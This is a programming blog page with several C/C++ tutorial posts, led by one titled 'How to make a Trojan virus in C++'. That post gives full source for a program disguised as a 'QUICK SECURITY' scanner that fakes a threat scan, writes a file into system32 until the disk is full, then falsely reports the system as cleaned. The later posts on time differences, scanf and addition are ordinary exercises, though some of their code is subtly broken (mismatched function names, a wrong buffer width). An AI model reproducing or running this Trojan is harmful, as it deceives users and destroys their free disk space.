Showing posts with label Typical Program. Show all posts
Showing posts with label Typical Program. Show all posts

Sunday, 31 August 2014

,

How to make a Trojan virus in C++

This sample Trojan virus is made in c++. This will not harm your computer.It will give you simple feeling of real programmer.Enjoy this coding.

 make a Trojan virus in C++






NOTE : DON'T USE THIS FOR COMMERCIAL PURPOSES

C++ program to make Trojan virus


#include<dos.h>
#include<stdlib.h>
#include<stdio.h>
#include<conio.h>


FILE *t,*b,*a;
int r,status,vir_count;
double i;
char ch[]="A FILE WITH LARGE MEMORY IS CREATED",choice;
void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);
void main()
{

draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("WAIT UNTIL SYSTEM ANALYSIS COMPLETE...");
sleep(3);
gotoxy(12,8);
delline();
cputs("TO START SCAN PRESS ANY KEY...");
getch();
gotoxy(12,8);
delline();
findroot();
}
void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS IS A DEMO OF TROJEN HORSE VIRUS. THIS PROGRAM WILL \n\rEAT UP WHOLE SPACE ON ROOT DRIVE. YOU CAN \n\rELIMINATE THE DAMAGE.\n\n\rTO REVERT THE DAMAGE YOU\'VE TO REMOVE THE FILE \"spceshot.dll\" IN\n\n\r \"%windir%\\System32\".\n\n\rPRESS ENTER TO CONTINUE , ANY OTHER KEY TO QUIT.");
if((choice=getch())!=13)
exit(0);
}
void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("===================================");
gotoxy(12,6);
cputs("===================================");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("QUICK SECURITY  - 2010 ");
}
void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb" );
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SCAN INTRUPTED.TRY AGAIN!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+ ");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("TO CLOSE PRESS ANY KEY.");
getch();
exit(1);
}
exit(1);
}
void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("DONOT STOP THE SCAN..!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. SYSTEM CLEANED ",vir_count);
gotoxy(12,10);
cprintf("TO CLOSE PRESS ANY KEY");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}
void showstatus()
{
gotoxy(12,8);
cputs("SYSTEM IS SCANNING FOR THREATS.");
gotoxy(12,10);
cputs("A FEW MINUTES WILL TAKE TO COMPLEATE");
gotoxy(12,13);
cputs("SCANNING IS GOING ON.......");
}


NOTE: After running this Program your free disk space become zero.You can free disk space by deleting the file "spceshot.dll"  in location  "%windir%\\System32\"

Publisher: Anand - 04:46

Tuesday, 26 August 2014

,

C Program to Calculate Difference Between Two Time Period

In this program, user is asked to enter two time periods and these two periods are stored in structure variables. This program calculates the difference between these two time period. To perform this task, a function is created which calculates the difference and the result is displayed in main( ) function without returning it (Using call by reference).
C Program to Calculate Difference Between Two Time Period

C Program to Calculate Difference Between Two Time Period


#include <stdio.h>
struct TIME{
  int seconds;
  int minutes;
  int hours;
};
void Difference(struct TIME t1, struct TIME t2, struct TIME *diff);
int main(){
    struct TIME t1,t2,diff;
    printf("Enter start time: \n");
    printf("Enter hours, minutes and seconds respectively: ");
    scanf("%d%d%d",&t1.hours,&t1.minutes,&t1.seconds);
    printf("Enter stop time: \n");
    printf("Enter hours, minutes and seconds respectively: ");
    scanf("%d%d%d",&t2.hours,&t2.minutes,&t2.seconds);
    Difference(t1,t2,&diff);
    printf("\nTIME DIFFERENCE: %d:%d:%d - ",t1.hours,t1.minutes,t1.seconds);
    printf("%d:%d:%d ",t2.hours,t2.minutes,t2.seconds);
    printf("= %d:%d:%d\n",diff.hours,diff.minutes,diff.seconds);
    return 0;
}
void Difference(struct TIME t1, struct TIME t2, struct TIME *differ){
    if(t2.seconds>t1.seconds){
        --t1.minutes;
        t1.seconds+=60;
    }
    differ->seconds=t1.seconds-t2.seconds;
    if(t2.minutes>t1.minutes){
        --t1.hours;
        t1.minutes+=60;
    }
    differ->minutes=t1.minutes-t2.minutes;
    differ->hours=t1.hours-t2.hours;
}

Output

C Program to Calculate Difference Between Two Time Period

Publisher: Anand - 10:38

Monday, 25 August 2014

,

C Program to Accept Paragraph using scanf

C Program to Accept Paragraph using scanf: I f  you think that scanf does not accept paragraph then your are wrong,because here we learn a way from which we can insert paragraph with space.

C Program to Accept Paragraph using scanf


C Program to Accept Paragraph using scanf

 
 #include<stdio.h>
 
int main() {
   char pgraph[400];
 
   printf("Enter Paragraph : ");
   scanf("%[^\t]s", pgraph);
 
   printf("Accepted Paragraph : %s", pgraph);
 
   return 0;
}

Note: Press Tab to Stop Accepting Characters

Output :
 Enter Paragraph :Geek Coderz is a blog which covers the stuff related to progr amming languages and tutorials. 
Accepted Paragraph : Geek Coderz is a blog which covers the stuff related to pr ogramming languages and tutorials. 


Explanation :


    scanf("%[^\t]s", pgraph);

  1. Here scanf will accept Characters entered with spaces.
  2. It also accepts the Words , new line characters .
  3. %[^\t]s  represent that all characters are accepted except tab(t) whenever t will encountered then the process of accepting characters will be terminated.
Drawbacks :
  1. Paragraph Size cannot be estimated at Compile Time
  2. It’s vulnerable to buffer overflows.
How to Specify Maximum Size to Avoid Overflow ?
// Accept only 100 character
 scanf("%10[^\t]s", pgraph);
Publisher: Anand - 20:12
,

C Program to Add two numbers without using arithmetic Operators

C Program to Add two numbers without using arithmetic Operators

C Program to Add two numbers without using arithmetic Operators

Program 1 : Using Recursive Function


#include<stdio.h>
int add(int, int);
int main()
{
   int num1, num2; 
   printf("\n ");
   scanf("%d %d", &num1, &num2); 
   printf("\nAddition of two number is : %d", add(num1, num2));
   return (0);
}
int add(int num1, int num2)
{
   if (!num1)
      return num2;
   else
      return add((num1 & num2) << 1, num1 ^ num2);

}
Output: 
Enter the two Numbers : 12 43
Addition of two number is : 55

program 2 : Using While Loop

 #include<stdio.h>
int main() {
   int num1 = 20, num2 = 8, i;
   while (num2 > 0) {
      num1++;
      num2--;
   }
   printf("%d", num1);
   return (0);
}


Output: 

Sum is :28

program 3 : Using While Loop

  #include<stdio.h>
int main() {
    int num1 = 20, num2 = 8, i;
    while (num2--) {
        num1++;
    }
    printf("Sum is : %d", num1);
    return (0);
}

Output: 
Sum is :28
program 4 : Using for Loop

  #include<stdio.h>
int sum(int, int);
int main() {
   int a, b;
   printf("Enter the two Numbers: ");
   scanf("%d %d", &a, &b);
   printf("Addition of two number is : %d", add(a, b));
   return(0);
}
int add(int num1, int num2) {
   int i;
   for (i = 0; i < num2; i++)
      num1++;
   return num1;
}

Output
 Enter the two Numbers:32 45
Addition of two number is :77













Publisher: Anand - 19:41